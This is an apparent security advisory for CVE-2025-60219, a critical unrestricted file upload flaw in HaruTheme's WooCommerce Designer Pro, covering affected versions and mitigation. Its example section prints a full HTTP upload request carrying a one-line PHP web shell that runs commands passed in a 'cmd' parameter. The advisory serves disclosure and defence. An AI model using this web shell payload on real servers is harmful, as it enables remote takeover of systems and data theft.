Overview
A severe vulnerability, identified as CVE-2025-60219, has been found in HaruTheme’s WooCommerce Designer Pro. The vulnerability is considered critical as it allows unrestricted file uploads, including files of dangerous types. This can potentially allow an attacker to upload a web shell to a web server, leading to various cybersecurity risks, including system compromise and data leakage. Businesses using WooCommerce Designer Pro, particularly versions up to 1.9.24, should be aware of this vulnerability and implement necessary measures to mitigate the risk.
Vulnerability Summary
CVE ID: CVE-2025-60219
Severity: Critical (CVSS 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage
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Product | Affected Versions
HaruTheme WooCommerce Designer Pro | Versions up to and including 1.9.24
How the Exploit Works
The vulnerability arises from inadequate validation of user-supplied input when processing file uploads. An attacker can exploit this by sending requests with specially crafted file uploads that include malicious code. Once the file is uploaded and executed on the server, the attacker can take control of the system, leading to a potential system compromise or data leakage.
Conceptual Example Code
Here’s an example of how an attacker could exploit this vulnerability. The attacker creates a malicious PHP file and uploads it to the server through the file upload functionality:
POST /upload_file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
Content-Length: 287
-----------------------------735323031399963166993862150
Content-Disposition: form-data; name="uploaded_file"; filename="evil.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
-----------------------------735323031399963166993862150--In this example, the file `evil.php` contains code that will execute any command passed to it via the `cmd` parameter in a GET request. Once this file is uploaded and executed, the server is compromised.
Mitigation Guidance
Users are advised to apply the vendor-provided patch to resolve this vulnerability. As a temporary measure, users can also implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent malicious file uploads.
